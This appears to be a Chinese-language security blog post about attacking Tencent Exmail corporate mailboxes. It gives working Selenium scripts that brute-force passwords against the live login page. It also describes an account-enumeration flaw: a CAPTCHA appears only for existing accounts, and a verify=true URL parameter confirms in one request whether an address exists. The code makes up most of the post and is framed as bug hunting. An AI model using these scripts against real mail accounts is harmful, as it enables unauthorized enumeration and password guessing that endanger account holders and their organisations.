在挖厂商漏洞的时候,都会在网上收集一份厂商的企业邮箱名单,然后使用弱口令对每个邮箱进行爆破.
但是网上的邮箱很多都是爬虫爬到的,你没法去确定一个邮箱是不是有效的.
为了提高效率,避免盲目的对一批邮箱进行爆破,可以先对邮箱的有效性进行检测
然后我就找到了一个腾讯企业邮箱快速判断有效性的方法 : )
我发现一个邮箱账号当天登陆错误次数超过5次以后会出现图形验证码验证.
我写了一个自动爆破的脚本,每个邮箱每天可以尝试5个密码 (毕竟那么菜,不会写验证码识别的脚本)
browser = webdriver.Chrome()
browser.get("https://exmail.qq.com/cgi-bin/loginpage")
elem_id = browser.find_element_by_id("inputuin")
elem_id.send_keys(user)
elem_pass = browser.find_element_by_id("pp")
elem_pass.send_keys(pwd)
elem_pass.send_keys(Keys.RETURN)
time.sleep(1)
# 判断登陆成功
try:
element = browser.find_element_by_id("subject")
except Exception as msg:
browser.close()
else:
print("Success:user:%s pwd:%s" % (user, pwd))
时间久了,我觉得邮箱太多,跑起来太耗时间,我需要确定我列表里的每一个邮箱都是有效的.
我试着使用一个不存在的邮箱来登陆,发现一个不存在的邮箱,无论错误次数是多少次,验证码都不会出现. (上面说到存在的邮箱错误5次出现验证码)
这样就可以写个小脚本对每个邮箱登陆5次,在某次登陆失败以后出现验证码时就可以判断这个邮箱的有效性了.
def exist(self, email):
'''验证一个邮箱是否存在'''
i = 1 # 初始化请求次数
while True:
if i == 6:
print(email + "不存在.")
break
browser = self.login(email, "exist_1234")
i += 1
# 获取验证码样式
style = browser.find_element_by_id("VerifyArea").get_attribute("style")
if "block" in style:
print(email + "存在.")
browser.close()
这里也看到了,这个脚本判断一个邮箱是不是有效的,需要登陆5次才能出来...
或许还能让速度更快一些...
https://exmail.qq.com/cgi-bin/loginpage?autologin=n&errtype=&verify=true&[email protected]
那么现在就能把判断邮箱有效性的请求从5次降低到1次.只需要设置verify=true,输入错误的验证码后检查返回的错误信息就好.
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
def exist(self, email):
browser = self.login(email, "abcdefg")
try:
browser.find_element_by_id("errorNamePassowrd")
except:
try:
browser.find_element_by_id("errorVerifyCode")
except:
print("未知错误")
else:
print(email + "存在")
else:
print(email + "不存在")
browser.close()
def login(self, email, password):
'''腾讯邮箱登陆'''
browser = webdriver.Chrome()
browser.get("https://exmail.qq.com/cgi-bin/loginpage?autologin=n&errtype=&verify=true&clientuin=" + email)
elem_pass = browser.find_element_by_id("pp")
elem_pass.send_keys(password)
elem_id = browser.find_element_by_id("vc")
elem_id.send_keys("test123")
elem_pass.send_keys(Keys.RETURN)
return browser
用selenium是因为懒,登陆表单会生成一些认证的东西...直接在脚本里去更新这些认证参数会更麻烦吧...
膜拜各位.